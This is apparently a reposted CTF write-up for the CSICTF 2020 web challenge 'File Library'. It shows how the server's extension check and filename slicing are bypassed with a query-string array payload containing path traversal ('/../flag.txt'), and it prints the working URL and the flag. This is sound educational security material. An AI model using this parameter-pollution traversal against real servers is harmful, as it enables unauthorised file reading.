File Library

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Web
Challenge | 2020 | CSICTF | Web | File Library

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/web/2020/07/22/File-Library.html

by `shreyas-sriram`

题目描述

> *This is my file library. I don't have a lot of files, but I hope you like the ones I have!*

题目考点

解题思路

- *There is a lot of mention about files in the challenge*
- *Opening the available files leads us to this page*

http://chall.csivit.com:30222/getFile?file=ok.js

- *Attempt to get the flag by http://chall.csivit.com:30222/getFile?file=flag.txt results in* `File type not allowed`
- *Going through the source code, we can see that there is a check for the supported file-type and the filename is sliced at index 5 before fetching the file*

File-type check

```
if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') {
        return true;
    }
    return false;
```

Filename slicing

```
if (file.length > 5) {
        file = file.slice(0, 5);
    }
```

- *Notice that the file-type check happens before slicing the filename*
- *Reading up on the methods* `slice()` *and* `indexOf()`*, we learn that they accept* `list` *as arguments too*
- *The flag is obtained by crafting a clever payload to bypass all the checks*

Payload

```
/getFile?file[]=f&file[]=4&file[]=k&file[]=e&file[]=/../flag.txt&file[]=.&file[]=js
```

Payload Explanation

- *As seen above, it has 7* `GET` *parameters as* `flag[]`*, this is parsed by the server as a* `list / array`

```
file[] = ["f","4","k","e","/../flag.txt",".","js"]
```

- *File-type check parses only `["js"]` and is bypassed*
- *Filename slicing parses only `file[] = ["f","4","k","e","/../flag.txt"]`*
- *This successfully read `flag.txt`*

Flag URL

http://chall.csivit.com:30222/getFile?file[]=f&file[]=l&file[]=a&file[]=g&file[]=/../flag.txt&file[]=.&file[]=js

Flag

```
1 csictf{5h0uld_5tr1ng1fy_th3_p4r4ms}
```


 # Challenge # 2020 # Web # CSICTF
The Confused Deputy
Secure Portal